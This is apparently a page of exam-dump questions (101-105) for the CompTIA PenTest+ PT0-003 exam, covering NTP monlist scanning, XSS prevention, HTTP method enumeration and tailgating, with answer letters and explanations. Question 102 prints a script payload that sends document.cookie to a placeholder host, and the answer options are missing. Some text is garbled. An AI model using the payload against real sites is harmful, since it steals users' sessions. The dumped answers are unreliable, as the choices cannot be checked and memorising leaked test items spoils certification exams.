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  1. Home
  2. CompTIA Certification
  3. PT0-003 Exam
  4. CompTIA.PT0-003.v2024-09-24.q131 Dumps
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Question 101

A penetration tester is looking for a particular type of service and obtains the output below:
I Target is synchronized with 127.127.38.0 (reference clock)
I Alternative Target Interfaces:
I 10.17.4.20
I Private Servers (0)
I Public Servers (0)
I Private Peers (0)
I Public Peers (0)
I Private Clients (2)
I 10.20.8.69 169.254.138.63
I Public Clients (597)
I 4.79.17.248 68.70.72.194 74.247.37.194 99.190.119.152
I 12.10.160.20 68.80.36.133 75.1.39.42 108.7.58.118
I 68.56.205.98
I 2001:1400:0:0:0:0:0:1 2001:16d8:ddOO:38:0:0:0:2
I 2002:db5a:bccd:l:21d:e0ff:feb7:b96f 2002:b6ef:81c4:0:0:1145:59c5:3682 I Other Associations (1)
|_ 127.0.0.1 seen 1949869 times, last tx was unicast v2 mode 7
Which of the following commands was executed by the tester?

Correct Answer: B
The output provided indicates the use of the NTP protocol (Network Time Protocol) for querying a target system. The reference to "Public Clients" and the specific IP addresses listed, along with the mention of
"Other Associations" and the use of NTP version 2, points towards the execution of an NTP monlist request.
The monlist feature in NTP servers can be used to obtain a list of the last 600 hosts that have interacted with the NTP server. The command nmap -sU -pU:123 -Pn -n -script=ntp-monlist <target> specifically targets NTP servers on UDP port 123 to retrieve this information, making it the correct choice based on the output shown.
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Question 102

Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

Correct Answer: C,E
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.
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Question 103

During a security assessment, a penetration tester decides to write the following Python script: import requests x= ['OPTIONS', 'TRACE', 'TEST'l for y in x; z - requests.request(y, 'http://server.net') print(y, z.status_code, z.reason) Which of the following is the penetration tester trying to accomplish? (Select two).

Correct Answer: B,D
The Python script mentioned in the question is designed to send HTTP requests using different methods ('OPTIONS', 'TRACE', 'TEST') to a specified URL ('http://server.net') and print out the method used along with the status code and reason for each response. The key objectives of this script are:
HTTP Methods Availability (B): By cycling through different HTTP methods, the script checks which methods are supported by the web server. This can reveal potential vulnerabilities, as certain methods like 'TRACE' can be exploited in certain situations (e.g., Cross Site Tracing (XST) attacks).
Web Server Fingerprinting (D): The response to different HTTP methods can provide clues about the web server's software and configuration, contributing to server fingerprinting. This information can be used to tailor further attacks or understand the security posture of the server.
This script is not designed for causing a denial of service, detecting web application firewalls, examining error handling, or performing banner grabbing directly, which excludes options A, C, E, and F.
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Question 104

A penetration tester approaches a company employee in the smoking area and starts a conversation about the company's recent social event. After a few minutes, the employee holds the badge-protected door open for the penetration tester and both enter the company's building. Which of the following attacks did the penetration tester perform?

Correct Answer: D
In this scenario, the penetration tester performed a "Tailgating" attack (D), where the tester follows closely behind a legitimate employee to gain unauthorized access to a secure area without being noticed. This social engineering technique relies on exploiting human tendencies to be polite or avoid confrontation, rather than using technical hacking methods. The tester engaged the employee in casual conversation to appear less suspicious and took advantage of the situation when the employee, perhaps distracted or feeling socially obliged, held the door open for them.
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Question 105

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

Correct Answer: A
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